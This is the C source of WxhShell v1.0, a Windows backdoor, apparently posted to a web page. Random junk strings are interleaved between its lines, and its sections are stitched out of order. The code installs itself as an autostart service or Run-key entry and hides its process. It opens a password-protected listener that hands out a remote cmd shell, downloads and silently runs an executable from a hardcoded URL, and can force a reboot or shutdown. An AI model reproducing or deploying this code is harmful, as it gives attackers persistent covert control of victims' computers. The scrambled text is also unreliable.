J(~xU0gd' HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^[HX#JJ~ if(NULL == hInst ) return 0; $~EY: d76C]R5L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RXPl~]k#i g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aBF<it> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sx9[#6~{Y (_q&QI0{ if (!NtQueryInformationProcess) return 0; a.<!>o<t:
*!EHs04 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +w?1<Z if(!hProcess) return 0; oRn 5blj IetV ]Ff6 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R[lA@q:
zpcm`z CloseHandle(hProcess); . Vq_O
u V[|k:($ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x(zW<J5X" if(hProcess==NULL) return 0; FLlL0Gu /Hc0~D4|x HMODULE hMod; RG_)<U/B char procName[255]; B415{ unsigned long cbNeeded; !I8(Y ;UjP0z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {QLqf
s@3<] CloseHandle(hProcess); PJcz] < f1VA61z{) if(strstr(procName,"services")) return 1; // 以服务启动 #lm1"~`5 A7:W0Gg return 0; // 注册表启动 ]| =#FFz } U#_rcu F9SIC7}uH // 主模块 `!T6#6h int StartWxhshell(LPSTR lpCmdLine) {Q~A;t { !NOvKC! SOCKET wsl; yYTiAvN BOOL val=TRUE; ">RDa<H] int port=0; >^Z! struct sockaddr_in door; ph1veD<ZZ ? Kn~fs8 if(wscfg.ws_autoins) Install(); k}Vu!+c z hMs}r,* port=atoi(lpCmdLine); l:kF0tj" 0ID
8L
[ if(port<=0) port=wscfg.ws_port; mk~Lkwl
!*xQPanL WSADATA data; Ts:pk if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WS0RvBvb Wm ?RB0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BPKeG0F7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U`"nX)$ door.sin_family = AF_INET; 86@@j*c(@k door.sin_addr.s_addr = inet_addr("127.0.0.1"); )Nq$~aAm door.sin_port = htons(port); yyHr. C 5B(r[Ni
b if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J`3pXc$. closesocket(wsl); 1k>*
return 1; 71w$i
4 } \h"QgHzp Z5{M_^ if(listen(wsl,2) == INVALID_SOCKET) { \*w*Q(&3 closesocket(wsl); CLD*\)QD\ return 1; HgX4RSU } yHoj:f$$x Wxhshell(wsl); uEuK1f` WSACleanup(); 'm"H*f !-4pr[C return 0; C`x>)wm: 7b T5-=.
} m5LP~Gb
'bg%9} // 以NT服务方式启动 9W7H",wR VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B)"WG7W E { ~c3CyOab DWORD status = 0; UeT"v?zP DWORD specificError = 0xfffffff; G\IH
b
| W"WvkW>- serviceStatus.dwServiceType = SERVICE_WIN32; )5X7|*LP serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?z60b=f8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^IM;D)X&: serviceStatus.dwWin32ExitCode = 0; ,[^P serviceStatus.dwServiceSpecificExitCode = 0; X;p,Wq#D' serviceStatus.dwCheckPoint = 0; 4//Ww6W: serviceStatus.dwWaitHint = 0; s 4}}MV3X I)O-i_}L&K hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c Ew/F0 if (hServiceStatusHandle==0) return; {N;XjV1x Rm *"SG status = GetLastError(); `h
Y:F( if (status!=NO_ERROR) U]ouBG8/ { +Mv0X%(N serviceStatus.dwCurrentState = SERVICE_STOPPED; `^afbW serviceStatus.dwCheckPoint = 0; Yb x4 Up@ serviceStatus.dwWaitHint = 0; !H,R$3~ serviceStatus.dwWin32ExitCode = status; e$tKKcj0T serviceStatus.dwServiceSpecificExitCode = specificError; Dx Vt SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;LH?Qu;e return; 4F8`5)RM } .)u,sYZA| nS'0i&<{1 serviceStatus.dwCurrentState = SERVICE_RUNNING; w];t ]q| serviceStatus.dwCheckPoint = 0; iygdX2 serviceStatus.dwWaitHint = 0; 8'#%7+ "=! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R{6.O+j` } Tj*zlb4 -D.6@@%Kc} // 处理NT服务事件,比如:启动、停止 JT<Ia VOID WINAPI NTServiceHandler(DWORD fdwControl) >1mCjP { o,Ew7~u switch(fdwControl) XUUS N { Khw!+!(H case SERVICE_CONTROL_STOP: IEeh)aj[ serviceStatus.dwWin32ExitCode = 0; Q:kpaMA1P serviceStatus.dwCurrentState = SERVICE_STOPPED; R_4600 serviceStatus.dwCheckPoint = 0; G m<t2Csn serviceStatus.dwWaitHint = 0; .f&,~$e4 { I[<C)IG SetServiceStatus(hServiceStatusHandle, &serviceStatus); 35jP</ } sOLo[5y' return; F/RV{} 17E case SERVICE_CONTROL_PAUSE: }(TZ}* d serviceStatus.dwCurrentState = SERVICE_PAUSED; o&LNtl; break; -F|(Y1OE case SERVICE_CONTROL_CONTINUE: s bW` serviceStatus.dwCurrentState = SERVICE_RUNNING; ^O[qCX break; <h7C_^L10\ case SERVICE_CONTROL_INTERROGATE: l=
!KZaH break; vM\8>p*U }; HPwmi[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8u;l<^< } c+|,2e
0T %qfEFhRC // 标准应用程序主函数 >48zRi\N int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I#S6k%-' { 0Km{fZYq7; {?BxVDD07 // 获取操作系统版本 |'=R`@w~0 OsIsNt=GetOsVer(); 2lHJ&fck< GetModuleFileName(NULL,ExeFile,MAX_PATH); ='OPU5(;O a*S4rq@ // 从命令行安装 R[Kyq|UyVr if(strpbrk(lpCmdLine,"iI")) Install(); KH2a 2 ^i#q{@g // 下载执行文件 cD2}EqZ 9 if(wscfg.ws_downexe) { o $p*C if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0xC{Lf& WinExec(wscfg.ws_filenam,SW_HIDE); HK5\i@G+< } MWsBZJRr 7ktf =Y if(!OsIsNt) { /_woCLwQ# // 如果时win9x,隐藏进程并且设置为注册表启动 v*l1"0$ HideProc(); o& $Fc8bH StartWxhshell(lpCmdLine); {Sd{|R_ } [Fr.ik else LYavth`@h if(StartFromService()) Eh0R0;l5> // 以服务方式启动 *wyaBV?*K StartServiceCtrlDispatcher(DispatchTable); A^
t[PKM" else H`aqpa"C // 普通方式启动 nY}Ep\g StartWxhshell(lpCmdLine); i v&:X3iB z+NXD4 return 0; VwHTtZ } >,A:zbs& e/F=5_Io Ry[VEn>C1 x@Z?DS$) =========================================== =f{V<i~q f(7/ !}Cd_tj6 oC.:mI ~0t]`<y= tX&Dum $ " {&"rv<p -&D~TL# #include <stdio.h> "F}anPY #include <string.h> qS|bpC0x #include <windows.h> *#+XfOtF #include <winsock2.h> |AuN5|obI #include <winsvc.h> Nx;U]O6A #include <urlmon.h> ?7/n s>} ,H1j&]E! #pragma comment (lib, "Ws2_32.lib") Zz,E4+'Rm #pragma comment (lib, "urlmon.lib") yo") G!BN D*DCMMp=0 #define MAX_USER 100 // 最大客户端连接数 !ZD[ $lt+ #define BUF_SOCK 200 // sock buffer n4qj"xQ #define KEY_BUFF 255 // 输入 buffer .& B_\* J/M1#sE #define REBOOT 0 // 重启 kiZA$:V8 #define SHUTDOWN 1 // 关机 AAxY{Z-4 RAR"9 N
. #define DEF_PORT 5000 // 监听端口 $2
~RZpS `8KWZi4
] #define REG_LEN 16 // 注册表键长度 )#9/vIQ #define SVC_LEN 80 // NT服务名长度 \zR{D}aS QOcB ]G // 从dll定义API G?8LYg!- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ePa1 @dI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ :1MM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~z ^VMr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iO,0Sb
<y t+W+f // wxhshell配置信息 &M*&oi ( struct WSCFG { `<8~tS/. w int ws_port; // 监听端口 uqnoE;57^ char ws_passstr[REG_LEN]; // 口令 IFH%R>={ int ws_autoins; // 安装标记, 1=yes 0=no _}EGk4E char ws_regname[REG_LEN]; // 注册表键名 IE+$ET>t char ws_svcname[REG_LEN]; // 服务名 /J<?2T9G char ws_svcdisp[SVC_LEN]; // 服务显示名 x0?8AG% char ws_svcdesc[SVC_LEN]; // 服务描述信息 i_)j K char ws_passmsg[SVC_LEN]; // 密码输入提示信息 88$G14aXEk int ws_downexe; // 下载执行标记, 1=yes 0=no 1K"``EvNB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KFkKr>S: char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "$;=8O5O 5qGRz"\p~ }; W> s@fN9 KtA0
8?B // default Wxhshell configuration s3W35S0Q 3 struct WSCFG wscfg={DEF_PORT, PBTGN;y "xuhuanlingzhe", h$_Wh( 1, 5tX|@Z:
z "Wxhshell", ~Wm`SIV "Wxhshell", Ts:3_4-k "WxhShell Service", ;l[/<J "Wrsky Windows CmdShell Service", K@Twiw~rB "Please Input Your Password: ", `f}}z5 1, cH.T6u_% "http://www.wrsky.com/wxhshell.exe", |g}!
F- "Wxhshell.exe" r3mB"("Z' }; tV9BVsN $Ud-aRlD // 消息定义模块 u 3wF)B{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EtWpB g char *msg_ws_prompt="\n\r? for help\n\r#>"; fJtJ2x i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }"06'
char *msg_ws_ext="\n\rExit."; ZsirX~W< char *msg_ws_end="\n\rQuit."; muwXzN(KX char *msg_ws_boot="\n\rReboot..."; )Mx[;IwE char *msg_ws_poff="\n\rShutdown..."; 5][Rvu0 char *msg_ws_down="\n\rSave to "; xC9^x7%3O Pwt4e- char *msg_ws_err="\n\rErr!"; x#|=.T char *msg_ws_ok="\n\rOK!"; f\!*%xS; p{"p<XFyO char ExeFile[MAX_PATH]; '""qMRCm int nUser = 0; .;u(uB;J6 HANDLE handles[MAX_USER]; 43W>4fsc int OsIsNt; hY7Q$B< LS{g=3P0 SERVICE_STATUS serviceStatus; zU:zzT}|TZ SERVICE_STATUS_HANDLE hServiceStatusHandle; {6!Mf+Xq HWxk>F0 // 函数声明 C0[Rf.* int Install(void); 6d&BN7B int Uninstall(void); f#pT6 int DownloadFile(char *sURL, SOCKET wsh); w;vp X> int Boot(int flag); =iC5um: void HideProc(void); r*C:)z.} int GetOsVer(void); Q*+@"tk< int Wxhshell(SOCKET wsl); E
j@M\ void TalkWithClient(void *cs); s1<_=sfnT int CmdShell(SOCKET sock); R|%
3JE0 int StartFromService(void); B08q/qi int StartWxhshell(LPSTR lpCmdLine); f&bY=$iff [Qa0uM#SU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jvw~b\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); %L+/GtxK S3PW [R@= // 数据结构和表定义 F=kD/GCB SERVICE_TABLE_ENTRY DispatchTable[] = ;TD<\1HJT= { >V;JI;[ {wscfg.ws_svcname, NTServiceMain}, XtRfzqg?K {NULL, NULL} :Qh5ZO&G0 }; NDglse CsS0(n(x // 自我安装 <1.].A@b* int Install(void) ])!|b2:s3 { u`$,S&Er char svExeFile[MAX_PATH]; '\H {Y[ HKEY key; 6C9KT;6 strcpy(svExeFile,ExeFile); Z%\9y]zs dt{|bQLu3 // 如果是win9x系统,修改注册表设为自启动 P1]ucu_y, if(!OsIsNt) { -q[T0^eS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ne,7[k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i)Vqvb0Q RegCloseKey(key); t(VG#} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #dE#w#=r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J\b,rOI f RegCloseKey(key); \/$T 3f`x return 0; P.$U6cq } #!u P>/ } G5egyP; } BoG/Hd.S else { zL5r8mD3 T D].*9 // 如果是NT以上系统,安装为系统服务 JXUnhjB,B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B3@ if (schSCManager!=0) d*khda;Vj { z[b,:G SC_HANDLE schService = CreateService 17tph; ( .qi$X!0 schSCManager, aCcBmc wscfg.ws_svcname, Za}*6N=?* wscfg.ws_svcdisp, .+]e9mV SERVICE_ALL_ACCESS, *E+2E^B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }OJ*o SERVICE_AUTO_START, `sQ\j Nu SERVICE_ERROR_NORMAL, - y{*U1[ svExeFile, >~_y\ NULL, 9G` 2t~% NULL, h']RP NULL, $TU=^W)X NULL, d?GfT$1 NULL \v44 Vmfz ); nS"K
dPM if (schService!=0) o<1e- { GBzC<e# CloseServiceHandle(schService); K20n355uE CloseServiceHandle(schSCManager); TDBWYppM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BWFl8
!_X strcat(svExeFile,wscfg.ws_svcname); /p~"?9b[ i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D{Y~kV| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w5gN8ZF3 RegCloseKey(key); 6%H8Qv return 0; ,w; ~R4x } oF,XSd } 9"52b9U CloseServiceHandle(schSCManager); TC?kuQI } qe4hNFq } JiEcPii lAJ) return 1; ^ 'FC. } Zq~2 BeB q@F"fjWBr // 自我卸载 s0H_Y' int Uninstall(void) m(q6Xe:Vc { it=L_zu} HKEY key; hhlQ!WV2 @^a6^*X> if(!OsIsNt) { @ \J R xJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0aQtJ0e16 RegDeleteValue(key,wscfg.ws_regname); kFgN^v^t RegCloseKey(key); q~p,A>K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "h_]it};C RegDeleteValue(key,wscfg.ws_regname); zwR@^ 5^6 RegCloseKey(key); Wv_5sPqLW return 0; 7J~6J.m } "Ol;0>$ } %1gJOV } g-E!*K else { }oYR.UH N[^%| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9Re605xQ6 if (schSCManager!=0) d8<Lk9H9R { bv;&oc:r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )b
m|],' if (schService!=0) uYIw ?fXy { 1)/B V{n if(DeleteService(schService)!=0) { kMKI=>s+ CloseServiceHandle(schService); GC66n1- X CloseServiceHandle(schSCManager); \hdR&f5q return 0; o m`r^3, } H1| -f]! CloseServiceHandle(schService); :{h,0w'd } $ ;>, CloseServiceHandle(schSCManager); J9)wt ?%j } =vT3SY } n}
GIf& :>nk63V ( return 1; ioi0^aM } VxjEKc 1@yXVD/ // 从指定url下载文件 h#zx^F1 int DownloadFile(char *sURL, SOCKET wsh) g,Kb9[' { ZB:Fjq HRESULT hr; !s.G$ JS< char seps[]= "/"; jPPaL] char *token; M~I M;my char *file; *0{MAm char myURL[MAX_PATH]; $qD8vu )|j char myFILE[MAX_PATH]; q?[{fcNh$ d%1S6eYa' strcpy(myURL,sURL); G(JvAe]r token=strtok(myURL,seps); Q}^
n while(token!=NULL) \-GV8A2:k { (*&6XTV( file=token; 6NbIT[LvT token=strtok(NULL,seps); *D~@xypy } Id]WKL: SjKIn- GetCurrentDirectory(MAX_PATH,myFILE); 3
C=nC strcat(myFILE, "\\"); _8\Uukm strcat(myFILE, file); kOVx]= send(wsh,myFILE,strlen(myFILE),0); K).X=2gjY send(wsh,"...",3,0); 6'(5pt hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y
97QqQ^ if(hr==S_OK) $LAaG65V return 0; 2c5>0f else TMKemci return 1; 'gUHy1p vnk"0d. } p!' "hx I-kM~q_ // 系统电源模块 :KgLjhj|) int Boot(int flag) AbZ:AJ(
{ X^_,`H@ HANDLE hToken; 1k2Ck TOKEN_PRIVILEGES tkp; vH#
US Br]VCp if(OsIsNt) { X_HR$il OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hz Vpv,|G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m4E 6L tkp.PrivilegeCount = 1; hrZ~7 0r tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<$UMMA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b$PNZC8f if(flag==REBOOT) { Y4@~NCU/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F5:*;E;$ return 0; i.cSD%* } )#ic"UtR else { G8QJM0VpS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xVfJ]Y return 0; QlJCdCSy } "uGJ\ } J9/9k else { s]L`&fY]O if(flag==REBOOT) { 'QeqWn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /nb(F h|{T return 0; *Ei~2O} } PwF}yxkI else { ' AeU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cJ!wZT`
return 0; 3WPMS/ } ,>{4*PM( } AKa{C
f ed{z^!w4 return 1; .a=M@;p } !!2~lG<] 'G-VhvMv // win9x进程隐藏模块 deHBY4@ void HideProc(void) <+_OgF1G { jXZKR(L rxP^L(q0* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WNm,r>6m if ( hKernel != NULL )
`Yoafa { YI%7#L7C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q=e?G300#L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %3xH<$Gq5 FreeLibrary(hKernel); T]CvfvO5 } l*nSgUg /DbwqBx return; E_
mgYW*5 } XHN?pVZ7 pNQd\nY|0 // 获取操作系统版本 ),M8W15 int GetOsVer(void) d:A+s>`$M { +"'h?7'C OSVERSIONINFO winfo; ,j&o H$mW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #7Qn\C2 GetVersionEx(&winfo); ]t(g7lc}U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /&kZ)XOi return 1; (6 0,0|s else B Am{Gb return 0; &]#D`u } T+sO(; tQ`tHe // 客户端句柄模块 v`wPdb int Wxhshell(SOCKET wsl) )j6S<mn { _9L2JN$R6 SOCKET wsh; :&_@U$ struct sockaddr_in client; Xj!0jF33 DWORD myID; CuuHRvU8 <&H.pN1_ while(nUser<MAX_USER) cG"jrQ { "G`)x+<~Z8 int nSize=sizeof(client); vtL) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )}paQmy# if(wsh==INVALID_SOCKET) return 1; >Pv%E dZnq 96<:| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N.&)22<m9 if(handles[nUser]==0) q/4PX closesocket(wsh); ^~(bm$4r else =FwFqjvl nUser++; .Ta$@sP h} } zaoZCyJT% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [fO]oTh W>B:W 0A return 0; =q6yb@ } |W#^L`!G {?5EOp~ // 关闭 socket BJW;A>@Pj void CloseIt(SOCKET wsh) T \0e8"iZ { ENqJ9%sk7 closesocket(wsh); f3yZx!K_Br nUser--; {{2ZWK 6| ExitThread(0); A`OU}'v?L } Dhef|E< #}k^g:l1 // 客户端请求句柄 >aa-ix
& void TalkWithClient(void *cs) [$] JvF { C
#TS Nk^#Sa? SOCKET wsh=(SOCKET)cs; u!g<y char pwd[SVC_LEN]; F~*
5`o char cmd[KEY_BUFF]; 8dL(cC char chr[1]; !sR`]0 int i,j; E; RI.6y +j`*?pPD(. while (nUser < MAX_USER) { "]JS,g {m )0UQy#r if(wscfg.ws_passstr) { I}?fy\1A& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Vb-BC, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M?F({#] //ZeroMemory(pwd,KEY_BUFF); T_\GvSOI i=0; T}4RlIZF while(i<SVC_LEN) { yq;gBIiZ lIOLR-:4j // 设置超时 h?$4\^/ fd_set FdRead; uV%7|/fD struct timeval TimeOut; m _:ib} FD_ZERO(&FdRead); D $ `yxc FD_SET(wsh,&FdRead); M4')gG; TimeOut.tv_sec=8; !JrVh$K TimeOut.tv_usec=0; #]:nQ( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4'X^YBm if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
fmloh1{4 }|A%2!Q} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #kV=;(lq pwd=chr[0]; %Xp}d5- if(chr[0]==0xd || chr[0]==0xa) { F!SmCE(0x pwd=0; {)k}dr break; [m('Y0fwO^ } BQw#PXp3 i++; 9nd'"$ } z?E:s.4F ux-Fvwoh // 如果是非法用户,关闭 socket Kb4u)~S: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NCl={O9<j } .O lq_wuH >eJk)qM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r0S"}<8O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \mv7"TM GS)l{bS#[O while(1) { iyj&O" ,gRsbC ZeroMemory(cmd,KEY_BUFF); WU}JArX9 2Uk$9s // 自动支持客户端 telnet标准 mtJI#P j=0; \Dr@n^hk@[ while(j<KEY_BUFF) { lfWxdi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *[_?4*F cmd[j]=chr[0]; i<&2Ffvq if(chr[0]==0xa || chr[0]==0xd) { v( (fRX.` cmd[j]=0; *4+;Ey break; BU])@~$ } qFvtqv2 j++; rF
7EO%, } :Fm+X[n Pm;"Y!S< // 下载文件 LI(Wu6*Y if(strstr(cmd,"http://")) { Yo:>m*31 send(wsh,msg_ws_down,strlen(msg_ws_down),0); uZW1
:cx if(DownloadFile(cmd,wsh)) H\)on" send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ym0Xl(Se else 6K*7%8Y/G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {]|};E[}m } w{Dk,9>w) else { i' N z!t&zkAK switch(cmd[0]) { ##yi^;3Y \Fc"Q@.u // 帮助 VN;Sz,1Z case '?': { q=|>r
n_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KVqQOh'_T break; %'EOFv]
} w,JB`jS)/ // 安装 KWhw@y-5j@ case 'i': { eGnc6)x@C if(Install()) 0} HKmEM send(wsh,msg_ws_err,strlen(msg_ws_err),0); knF *~O :y else #CVD:p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uKtrG,/ p break; 9j9A'Y9( } rWSw1(sAA // 卸载 VU)ywIs case 'r': { >#c]rk: if(Uninstall()) ,/JrQWgD send(wsh,msg_ws_err,strlen(msg_ws_err),0); xae}8E else RI cA)I. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zneK)C8&q3 break; P1H`NOC } 7kG>s9O // 显示 wxhshell 所在路径 `<+D<x)(3 case 'p': { O^oFH
OpFh char svExeFile[MAX_PATH]; nQg6
j Zf strcpy(svExeFile,"\n\r"); %,>> <8 strcat(svExeFile,ExeFile); /1Rm^s)2z send(wsh,svExeFile,strlen(svExeFile),0); cdzMao break; mVU(u_lh } Px'% 5TKN // 重启 E%jOJA case 'b': { tse(iX/D send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aI+:rk^ if(Boot(REBOOT)) Fi(_A send(wsh,msg_ws_err,strlen(msg_ws_err),0); rN}{v}n else { RR^I*kRH closesocket(wsh); 0B1*N_.L@ ExitThread(0); >iWl-hI- } Wc03Sv&FZ break; jlzqa7 } Q)H Vh[4 // 关机 >
NK?!!A_ case 'd': { g"xLS}Al send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4d9iAN if(Boot(SHUTDOWN)) .U9NQwd send(wsh,msg_ws_err,strlen(msg_ws_err),0); $7M64K{ else { (!{_O_& closesocket(wsh); /gXli) ExitThread(0); Yq<D(F#qx } :]e:-JbT4z break; OFCkQEG=y> } QQ1+uY // 获取shell ;STO!^9~ case 's': { hSr#/d w& CmdShell(wsh); p;BdzV> closesocket(wsh); 4$d|}ajH ExitThread(0); <}N0y*m break; '-gk))u>) } :3{@LOil^ // 退出 Og"50 - case 'x': { $fuFx8`2W send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uoaF(F- CloseIt(wsh); 8uS1HE\% break; NzNAhlXj3 } K'N\"Y?> // 离开 y.w/7iw: case 'q': { M)Tv(7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); @5Ril9J[b closesocket(wsh); +;U}SR< WSACleanup(); pShSKRg exit(1); Lm:O
vVVB break; B,|M
} Yca9G?^\v } >Mrz$
z{x } m'oVqA& Joq9.%7Q // 提示信息 09%q/-$ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dg/7?gV } (!DH'2I[ } 9v0.] =5I1[p; return; 6DR@$fpt } |PDuvv!.f hFj.d]S // shell模块句柄 j$&k;S int CmdShell(SOCKET sock) VH+^G)^) W { *Rr,ii STARTUPINFO si; noh3mi ZeroMemory(&si,sizeof(si)); tNmH*"wR< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u|BD%5+J si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "`C|;\w PROCESS_INFORMATION ProcessInfo; 8Tv;,a char cmdline[]="cmd"; 76$19 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +J_A*B return 0; f+%J=Am } $vlgiJ&f uSM4:!8 // 自身启动模式 u%VO'}Gz int StartFromService(void) f![x7D$ { f(?>z!n0 typedef struct "{qhk{ { p^ 9QYR DWORD ExitStatus; JR'Q Th:z DWORD PebBaseAddress; \TC&/'7} DWORD AffinityMask; ~e, DWORD BasePriority; (3{'GX2c ULONG UniqueProcessId; J>]' {!+ ULONG InheritedFromUniqueProcessId; bN<c5 } PROCESS_BASIC_INFORMATION; d7$H})[^ T*-*U/ PROCNTQSIP NtQueryInformationProcess; @\u)k %jKR\f G static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @Eqc&v!O static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7<|1 xOT A$Es(<'9g HANDLE hProcess; V4/P PROCESS_BASIC_INFORMATION pbi; v?fB:[dG
Y@M=6G HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); REQ2pfk0 if(NULL == hInst ) return 0; Ml+.\'r .y+>-[j?B g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MvL%*("4b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +=$]f jE? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V:QfI kh^AH6{2 if (!NtQueryInformationProcess) return 0; qSkt
}F%' OA4NXl' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RvYew!n if(!hProcess) return 0; 0wAZ9AxA{ ruB&&C6)v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sZ]O&Za~ mZ ONxR6q$ CloseHandle(hProcess); 3(E"$Se,f XOJ/$y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Crm](Z? if(hProcess==NULL) return 0; QRgWzaI C&zgt
